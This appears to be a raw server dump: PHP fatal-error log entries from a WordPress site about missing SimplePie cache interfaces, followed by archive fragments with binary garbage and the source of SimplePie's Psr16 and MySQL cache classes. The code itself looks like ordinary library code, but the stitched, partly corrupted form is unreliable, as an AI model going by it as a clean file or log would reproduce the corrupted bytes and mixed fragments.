[03-Nov-2025 11:41:33 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\NameFilter" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:52
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 52
[03-Nov-2025 11:52:15 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Memcached.php:64
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Memcached.php on line 64
[03-Nov-2025 11:55:01 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Memcache.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Memcache.php on line 63
[03-Nov-2025 11:55:52 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/File.php:54
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/File.php on line 54
[03-Nov-2025 11:57:58 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/DB.php:54
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/DB.php on line 54
[03-Nov-2025 23:14:49 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Redis.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Redis.php on line 63
[03-Nov-2025 23:15:42 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Memcached.php:64
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Memcached.php on line 64
[04-Nov-2025 05:09:44 UTC] PHP Fatal error:  Uncaught Error: Class "SimplePie\Cache\DB" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/MySQL.php:60
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/MySQL.php on line 60
[04-Nov-2025 08:57:09 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\DataCache" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Psr16.php:57
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Psr16.php on line 57
[04-Nov-2025 08:57:32 UTC] PHP Fatal error:  Uncaught Error: Class "SimplePie\Cache\DB" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/MySQL.php:60
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/MySQL.php on line 60
[04-Nov-2025 08:58:05 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\NameFilter" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:52
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 52
[04-Nov-2025 08:58:12 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Memcached.php:64
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Memcached.php on line 64
[04-Nov-2025 08:58:25 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Redis.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Redis.php on line 63
[04-Nov-2025 08:59:12 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Memcache.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Memcache.php on line 63
[04-Nov-2025 09:03:02 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/DB.php:54
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/DB.php on line 54
[04-Nov-2025 09:04:52 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\DataCache" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/BaseDataCache.php:56
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/BaseDataCache.php on line 56
[04-Nov-2025 09:07:45 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/File.php:54
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/File.php on line 54
[04-Nov-2025 09:10:41 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Memcache.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Memcache.php on line 63
[04-Nov-2025 09:11:30 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\DataCache" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Psr16.php:57
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Psr16.php on line 57
[04-Nov-2025 09:12:34 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Memcached.php:64
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Memcached.php on line 64
[04-Nov-2025 09:14:37 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/File.php:54
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/File.php on line 54
[04-Nov-2025 09:15:43 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\NameFilter" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:52
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 52
[04-Nov-2025 09:16:47 UTC] PHP Fatal error:  Uncaught Error: Class "SimplePie\Cache\DB" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/MySQL.php:60
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/MySQL.php on line 60
[04-Nov-2025 09:18:54 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Redis.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Redis.php on line 63
[04-Nov-2025 09:21:58 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\DataCache" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/BaseDataCache.php:56
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/BaseDataCache.php on line 56
[04-Nov-2025 09:25:40 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/DB.php:54
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/DB.php on line 54
[04-Nov-2025 09:31:24 UTC] PHP Fatal error:  Uncaught Error: Class "SimplePie\Cache\DB" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/MySQL.php:60
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/MySQL.php on line 60
[04-Nov-2025 09:33:05 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/File.php:54
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/File.php on line 54
[04-Nov-2025 09:35:04 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Memcached.php:64
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Memcached.php on line 64
[04-Nov-2025 09:36:00 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Redis.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Redis.php on line 63
[04-Nov-2025 09:38:06 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\DataCache" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Psr16.php:57
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Psr16.php on line 57
[04-Nov-2025 09:39:04 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\NameFilter" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:52
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 52
[04-Nov-2025 09:40:04 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\DataCache" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/BaseDataCache.php:56
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/BaseDataCache.php on line 56
[04-Nov-2025 09:46:36 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Memcache.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/Memcache.php on line 63
PKWd[S��{src/Cache/Psr16.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2022 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie\Cache;

use Psr\SimpleCache\CacheInterface;
use Psr\SimpleCache\InvalidArgumentException;

/**
 * Caches data into a PSR-16 cache implementation
 *
 * @package SimplePie
 * @subpackage Caching
 * @internal
 */
final class Psr16 implements DataCache
{
    /**
     * PSR-16 cache implementation
     *
     * @var CacheInterface
     */
    private $cache;

    /**
     * PSR-16 cache implementation
     *
     * @param CacheInterface $cache
     */
    public function __construct(CacheInterface $cache)
    {
        $this->cache = $cache;
    }

    /**
     * Fetches a value from the cache.
     *
     * Equivalent to \Psr\SimpleCache\CacheInterface::get()
     * <code>
     * public function get(string $key, mixed $default = null): mixed;
     * </code>
     *
     * @param string $key     The unique key of this item in the cache.
     * @param mixed  $default Default value to return if the key does not exist.
     *
     * @return array|mixed The value of the item from the cache, or $default in case of cache miss.
     *
     * @throws InvalidArgumentException
     *   MUST be thrown if the $key string is not a legal value.
     */
    public function get_data(string $key, $default = null)
    {
        $data = $this->cache->get($key, $default);

        if (!is_array($data) || $data === $default) {
            return $default;
        }

        return $data;
    }

    /**
     * Persists data in the cache, uniquely referenced by a key with an optional expiration TTL time.
     *
     * Equivalent to \Psr\SimpleCache\CacheInterface::set()
     * <code>
     * public function set(string $key, mixed $value, null|int|\DateInterval $ttl = null): bool;
     * </code>
     *
     * @param string   $key   The key of the item to store.
     * @param array    $value The value of the item to store, must be serializable.
     * @param null|int $ttl   Optional. The TTL value of this item. If no value is sent and
     *                                      the driver supports TTL then the library may set a default value
     *                                      for it or let the driver take care of that.
     *
     * @return bool True on success and false on failure.
     *
     * @throws InvalidArgumentException
     *   MUST be thrown if the $key string is not a legal value.
     */
    public function set_data(string $key, array $value, ?int $ttl = null): bool
    {
        return $this->cache->set($key, $value, $ttl);
    }

    /**
     * Delete an item from the cache by its unique key.
     *
     * Equivalent to \Psr\SimpleCache\CacheInterface::delete()
     * <code>
     * public function delete(string $key): bool;
     * </code>
     *
     * @param string $key The unique cache key of the item to delete.
     *
     * @return bool True if the item was successfully removed. False if there was an error.
     *
     * @throws InvalidArgumentException
     *   MUST be thrown if the $key string is not a legal value.
     */
    public function delete_data(string $key): bool
    {
        return $this->cache->delete($key);
    }
}
PKWd[
��q�<�<src/Cache/MySQL.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie\Cache;

/**
 * Caches data to a MySQL database
 *
 * Registered for URLs with the "mysql" protocol
 *
 * For example, `mysql://root:password@localhost:3306/mydb?prefix=sp_` will
 * connect to the `mydb` database on `localhost` on port 3306, with the user
 * `root` and the password `password`. All tables will be prefixed with `sp_`
 *
 * @package SimplePie
 * @subpackage Caching
 * @deprecated since SimplePie 1.8.0, use implementation of "Psr\SimpleCache\CacheInterface" instead
 */
class MySQL extends DB
{
    /**
     * PDO instance
     *
     * @var \PDO
     */
    protected $mysql;

    /**
     * Options
     *
     * @var array
     */
    protected $options;

    /**
     * Cache ID
     *
     * @var string
     */
    protected $id;

    /**
     * Create a new cache object
     *
     * @param string $location Location string (from SimplePie::$cache_location)
     * @param string $name Unique ID for the cache
     * @param Base::TYPE_FEED|Base::TYPE_IMAGE $type Either TYPE_FEED for SimplePie data, or TYPE_IMAGE for image data
     */
    public function __construct($location, $name, $type)
    {
        $this->options = [
            'user' => null,
            'pass' => null,
            'host' => '127.0.0.1',
            'port' => '3306',
            'path' => '',
            'extras' => [
                'prefix' => '',
                'cache_purge_time' => 2592000
            ],
        ];

        $this->options = array_replace_recursive($this->options, \SimplePie\Cache::parse_URL($location));

        // Path is prefixed with a "/"
        $this->options['dbname'] = substr($this->options['path'], 1);

        try {
            $this->mysql = new \PDO("mysql:dbname={$this->options['dbname']};host={$this->options['host']};port={$this->options['port']}", $this->options['user'], $this->options['pass'], [\PDO::MYSQL_ATTR_INIT_COMMAND => 'SET NAMES utf8']);
        } catch (\PDOException $e) {
            $this->mysql = null;
            return;
        }

        $this->id = $name . $type;

        if (!$query = $this->mysql->query('SHOW TABLES')) {
            $this->mysql = null;
            return;
        }

        $db = [];
        while ($row = $query->fetchColumn()) {
            $db[] = $row;
        }

        if (!in_array($this->options['extras']['prefix'] . 'cache_data', $db)) {
            $query = $this->mysql->exec('CREATE TABLE `' . $this->options['extras']['prefix'] . 'cache_data` (`id` TEXT CHARACTER SET utf8 NOT NULL, `items` SMALLINT NOT NULL DEFAULT 0, `data` BLOB NOT NULL, `mtime` INT UNSIGNED NOT NULL, UNIQUE (`id`(125)))');
            if ($query === false) {
                trigger_error("Can't create " . $this->options['extras']['prefix'] . "cache_data table, check permissions", \E_USER_WARNING);
                $this->mysql = null;
                return;
            }
        }

        if (!in_array($this->options['extras']['prefix'] . 'items', $db)) {
            $query = $this->mysql->exec('CREATE TABLE `' . $this->options['extras']['prefix'] . 'items` (`feed_id` TEXT CHARACTER SET utf8 NOT NULL, `id` TEXT CHARACTER SET utf8 NOT NULL, `data` MEDIUMBLOB NOT NULL, `posted` INT UNSIGNED NOT NULL, INDEX `feed_id` (`feed_id`(125)))');
            if ($query === false) {
                trigger_error("Can't create " . $this->options['extras']['prefix'] . "items table, check permissions", \E_USER_WARNING);
                $this->mysql = null;
                return;
            }
        }
    }

    /**
     * Save data to the cache
     *
     * @param array|\SimplePie\SimplePie $data Data to store in the cache. If passed a SimplePie object, only cache the $data property
     * @return bool Successfulness
     */
    public function save($data)
    {
        if ($this->mysql === null) {
            return false;
        }

        $query = $this->mysql->prepare('DELETE i, cd FROM `' . $this->options['extras']['prefix'] . 'cache_data` cd, ' .
            '`' . $this->options['extras']['prefix'] . 'items` i ' .
            'WHERE cd.id = i.feed_id ' .
            'AND cd.mtime < (unix_timestamp() - :purge_time)');
        $query->bindValue(':purge_time', $this->options['extras']['cache_purge_time']);

        if (!$query->execute()) {
            return false;
        }

        if ($data instanceof \SimplePie\SimplePie) {
            $data = clone $data;

            $prepared = self::prepare_simplepie_object_for_cache($data);

            $query = $this->mysql->prepare('SELECT COUNT(*) FROM `' . $this->options['extras']['prefix'] . 'cache_data` WHERE `id` = :feed');
            $query->bindValue(':feed', $this->id);
            if ($query->execute()) {
                if ($query->fetchColumn() > 0) {
                    $items = count($prepared[1]);
                    if ($items) {
                        $sql = 'UPDATE `' . $this->options['extras']['prefix'] . 'cache_data` SET `items` = :items, `data` = :data, `mtime` = :time WHERE `id` = :feed';
                        $query = $this->mysql->prepare($sql);
                        $query->bindValue(':items', $items);
                    } else {
                        $sql = 'UPDATE `' . $this->options['extras']['prefix'] . 'cache_data` SET `data` = :data, `mtime` = :time WHERE `id` = :feed';
                        $query = $this->mysql->prepare($sql);
                    }

                    $query->bindValue(':data', $prepared[0]);
                    $query->bindValue(':time', time());
                    $query->bindValue(':feed', $this->id);
                    if (!$query->execute()) {
                        return false;
                    }
                } else {
                    $query = $this->mysql->prepare('INSERT INTO `' . $this->options['extras']['prefix'] . 'cache_data` (`id`, `items`, `data`, `mtime`) VALUES(:feed, :count, :data, :time)');
                    $query->bindValue(':feed', $this->id);
                    $query->bindValue(':count', count($prepared[1]));
                    $query->bindValue(':data', $prepared[0]);
                    $query->bindValue(':time', time());
                    if (!$query->execute()) {
                        return false;
                    }
                }

                $ids = array_keys($prepared[1]);
                if (!empty($ids)) {
                    foreach ($ids as $id) {
                        $database_ids[] = $this->mysql->quote($id);
                    }

                    $query = $this->mysql->prepare('SELECT `id` FROM `' . $this->options['extras']['prefix'] . 'items` WHERE `id` = ' . implode(' OR `id` = ', $database_ids) . ' AND `feed_id` = :feed');
                    $query->bindValue(':feed', $this->id);

                    if ($query->execute()) {
                        $existing_ids = [];
                        while ($row = $query->fetchColumn()) {
                            $existing_ids[] = $row;
                        }

                        $new_ids = array_diff($ids, $existing_ids);

                        foreach ($new_ids as $new_id) {
                            if (!($date = $prepared[1][$new_id]->get_date('U'))) {
                                $date = time();
                            }

                            $query = $this->mysql->prepare('INSERT INTO `' . $this->options['extras']['prefix'] . 'items` (`feed_id`, `id`, `data`, `posted`) VALUES(:feed, :id, :data, :date)');
                            $query->bindValue(':feed', $this->id);
                            $query->bindValue(':id', $new_id);
                            $query->bindValue(':data', serialize($prepared[1][$new_id]->data));
                            $query->bindValue(':date', $date);
                            if (!$query->execute()) {
                                return false;
                            }
                        }
                        return true;
                    }
                } else {
                    return true;
                }
            }
        } else {
            $query = $this->mysql->prepare('SELECT `id` FROM `' . $this->options['extras']['prefix'] . 'cache_data` WHERE `id` = :feed');
            $query->bindValue(':feed', $this->id);
            if ($query->execute()) {
                if ($query->rowCount() > 0) {
                    $query = $this->mysql->prepare('UPDATE `' . $this->options['extras']['prefix'] . 'cache_data` SET `items` = 0, `data` = :data, `mtime` = :time WHERE `id` = :feed');
                    $query->bindValue(':data', serialize($data));
                    $query->bindValue(':time', time());
                    $query->bindValue(':feed', $this->id);
                    if ($query->execute()) {
                        return true;
                    }
                } else {
                    $query = $this->mysql->prepare('INSERT INTO `' . $this->options['extras']['prefix'] . 'cache_data` (`id`, `items`, `data`, `mtime`) VALUES(:id, 0, :data, :time)');
                    $query->bindValue(':id', $this->id);
                    $query->bindValue(':data', serialize($data));
                    $query->bindValue(':time', time());
                    if ($query->execute()) {
                        return true;
                    }
                }
            }
        }
        return false;
    }

    /**
     * Retrieve the data saved to the cache
     *
     * @return array Data for SimplePie::$data
     */
    public function load()
    {
        if ($this->mysql === null) {
            return false;
        }

        $query = $this->mysql->prepare('SELECT `items`, `data` FROM `' . $this->options['extras']['prefix'] . 'cache_data` WHERE `id` = :id');
        $query->bindValue(':id', $this->id);
        if ($query->execute() && ($row = $query->fetch())) {
            $data = unserialize($row[1]);

            if (isset($this->options['items'][0])) {
                $items = (int) $this->options['items'][0];
            } else {
                $items = (int) $row[0];
            }

            if ($items !== 0) {
                if (isset($data['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['feed'][0])) {
                    $feed = &$data['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['feed'][0];
                } elseif (isset($data['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['feed'][0])) {
                    $feed = &$data['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['feed'][0];
                } elseif (isset($data['child'][\SimplePie\SimplePie::NAMESPACE_RDF]['RDF'][0])) {
                    $feed = &$data['child'][\SimplePie\SimplePie::NAMESPACE_RDF]['RDF'][0];
                } elseif (isset($data['child'][\SimplePie\SimplePie::NAMESPACE_RSS_20]['rss'][0])) {
                    $feed = &$data['child'][\SimplePie\SimplePie::NAMESPACE_RSS_20]['rss'][0];
                } else {
                    $feed = null;
                }

                if ($feed !== null) {
                    $sql = 'SELECT `data` FROM `' . $this->options['extras']['prefix'] . 'items` WHERE `feed_id` = :feed ORDER BY `posted` DESC';
                    if ($items > 0) {
                        $sql .= ' LIMIT ' . $items;
                    }

                    $query = $this->mysql->prepare($sql);
                    $query->bindValue(':feed', $this->id);
                    if ($query->execute()) {
                        while ($row = $query->fetchColumn()) {
                            $feed['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['entry'][] = unserialize($row);
                        }
                    } else {
                        return false;
                    }
                }
            }
            return $data;
        }
        return false;
    }

    /**
     * Retrieve the last modified time for the cache
     *
     * @return int Timestamp
     */
    public function mtime()
    {
        if ($this->mysql === null) {
            return false;
        }

        $query = $this->mysql->prepare('SELECT `mtime` FROM `' . $this->options['extras']['prefix'] . 'cache_data` WHERE `id` = :id');
        $query->bindValue(':id', $this->id);
        if ($query->execute() && ($time = $query->fetchColumn())) {
            return $time;
        }

        return false;
    }

    /**
     * Set the last modified time to the current time
     *
     * @return bool Success status
     */
    public function touch()
    {
        if ($this->mysql === null) {
            return false;
        }

        $query = $this->mysql->prepare('UPDATE `' . $this->options['extras']['prefix'] . 'cache_data` SET `mtime` = :time WHERE `id` = :id');
        $query->bindValue(':time', time());
        $query->bindValue(':id', $this->id);

        return $query->execute() && $query->rowCount() > 0;
    }

    /**
     * Remove the cache
     *
     * @return bool Success status
     */
    public function unlink()
    {
        if ($this->mysql === null) {
            return false;
        }

        $query = $this->mysql->prepare('DELETE FROM `' . $this->options['extras']['prefix'] . 'cache_data` WHERE `id` = :id');
        $query->bindValue(':id', $this->id);
        $query2 = $this->mysql->prepare('DELETE FROM `' . $this->options['extras']['prefix'] . 'items` WHERE `feed_id` = :id');
        $query2->bindValue(':id', $this->id);

        return $query->execute() && $query2->execute();
    }
}

class_alias('SimplePie\Cache\MySQL', 'SimplePie_Cache_MySQL');
